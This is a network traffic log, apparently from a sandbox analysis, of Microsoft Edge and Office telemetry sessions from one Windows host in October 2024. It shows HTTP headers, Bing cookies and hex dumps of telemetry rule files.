2024-10-29 05:59:33 UTC	2234	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 Cache-Control: private X-EventID: 672079c4d08b42d796071ae29c6acc8f UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy: script-src https: 'strict-dynamic' 'report-sample' 'wasm-unsafe-eval' 'nonce-+DdYv0FfoIU+anPNIgE3VVQsfwm/g6xU9kxQrA/ccWk='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Tue, 29 Oct 2024 05:59:32 GMT Connection: close Set-Cookie: MUID=139CD6B80E4A60EC2DE0C39F0FEA6195; domain=.bing.com; expires=Sun, 23-Nov-2025 05:59:32 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=139CD6B80E4A60EC2DE0C39F0FEA6195; expires=Sun, 23-Nov-2025 05:59:32 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=071D40E2D7E265752DBC55C5D64264F7; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Sun, 23-Nov-2025 05:59:32 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Thu, 29-Oct-2026 05:59:32 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Thu, 29-Oct-2026 05:59:32 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=55DD2090CDA74E9DAD2FEEAAB9A6EA84&dmnchg=1; domain=.bing.com; expires=Thu, 29-Oct-2026 05:59:32 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20241029; domain=.bing.com; expires=Thu, 29-Oct-2026 05:59:32 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Thu, 29-Oct-2026 05:59:32 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=071D40E2D7E265752DBC55C5D64264F7; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.85155d68.1730181572.1b7e05fb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49882	108.156.211.31	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:32 UTC	1012	OUT	GET /b2?rn=1730181570259&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=082392D97AE764340DA987FE7BEF6550&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1B9829b9a9fd67a5f0b7b741730181571; XID=1B9829b9a9fd67a5f0b7b741730181571
2024-10-29 05:59:32 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 29 Oct 2024 05:59:32 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 346313f93be9e5600efa5834c34fe526.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: xakFoJCmnOgYN2lbnr2HfB2Im7jg5YZU_T1couaF-4LeoL5d8uQRtQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49876	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:32 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055932Z-16849878b78fssff8btnns3b14000000069g00000000gh5w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49875	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:32 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:32 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055932Z-15b8d89586fmhkw429ba5n22m800000007p0000000000hsz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:32 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49881	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:32 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055932Z-16849878b785jrf8dn0d2rczaw000000076000000000g2hn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49880	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:32 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: cb951b4e-f01e-0020-727f-28956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055932Z-17c5cb586f6b6kj91vqtm6kxaw00000004xg000000000v46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49879	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:32 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055932Z-16849878b786lft2mu9uftf3y400000007d0000000005pr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49883	20.42.73.31	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:32 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730181571259&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10753 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1; _C_ETH=1
2024-10-29 05:59:32 UTC	10753	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 39 54 30 35 3a 35 39 3a 33 31 2e 32 35 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 30 30 37 65 65 39 38 2d 62 64 65 33 2d 34 65 34 35 2d 61 33 34 64 2d 64 66 37 33 66 32 30 32 62 65 39 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 32 32 37 38 37 35 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-29T05:59:31.258Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"2007ee98-bde3-4e45-a34d-df73f202be99","epoch":"2622787570"},"app":{"locale
2024-10-29 05:59:33 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=0f23cf0447a742b392d75896036e19f3&HASH=0f23&LV=202410&V=4&LU=1730181572868; Domain=.microsoft.com; Expires=Wed, 29 Oct 2025 05:59:32 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5f6e2d4e20a84325a4e03fa4f678c9e3; Domain=.microsoft.com; Expires=Tue, 29 Oct 2024 06:29:32 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1609 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 29 Oct 2024 05:59:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49884	20.42.73.31	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:32 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730181571272&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 32667 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1; _C_ETH=1
2024-10-29 05:59:32 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 39 54 30 35 3a 35 39 3a 33 31 2e 32 37 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 30 30 37 65 65 39 38 2d 62 64 65 33 2d 34 65 34 35 2d 61 33 34 64 2d 64 66 37 33 66 32 30 32 62 65 39 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 32 32 37 38 37 35 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-29T05:59:31.270Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"2007ee98-bde3-4e45-a34d-df73f202be99","epoch":"2622787570"},"app":{"locale
2024-10-29 05:59:32 UTC	16283	OUT	Data Raw: 22 3a 22 4e 65 77 20 74 61 62 22 2c 22 73 75 62 63 61 74 65 67 6f 72 79 22 3a 22 61 6e 74 70 22 2c 22 64 6f 6d 61 69 6e 49 64 22 3a 22 33 34 30 22 2c 22 76 65 72 74 69 63 61 6c 22 3a 22 68 6f 6d 65 70 61 67 65 22 2c 22 74 6f 70 69 63 22 3a 22 44 69 73 63 6f 76 65 72 22 7d 2c 22 69 73 41 64 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 69 73 41 75 74 6f 52 65 66 72 65 73 68 22 3a 66 61 6c 73 65 2c 22 69 73 4a 53 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 69 73 53 74 61 74 69 63 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 6f 63 69 64 22 3a 22 6d 73 65 64 67 64 68 70 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 74 Data Ascii: ":"New tab","subcategory":"antp","domainId":"340","vertical":"homepage","topic":"Discover"},"isAdEnabled":false,"isAutoRefresh":false,"isJSEnabled":true,"isStatic":false,"name":"default","ocid":"msedgdhp","product":"anaheim","type":"dhp","url":"https://nt
2024-10-29 05:59:47 UTC	901	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=71dce6e11a6b43d2bb4217b6302a9380&HASH=71dc&LV=202410&V=4&LU=1730181578938; Domain=.microsoft.com; Expires=Wed, 29 Oct 2025 05:59:38 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=944af7f97a304747a41ecbcf1aa509a1; Domain=.microsoft.com; Expires=Tue, 29 Oct 2024 06:29:38 GMT; Path=/;Secure; SameSite=None time-delta-millis: 7666 Access-Control-Allow-Headers: P3P,Set-Cookie,Connection,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 29 Oct 2024 05:59:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49889	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:33 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:33 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055933Z-16849878b78nx5sne3fztmu6xc00000006zg00000000h59x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:34 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> 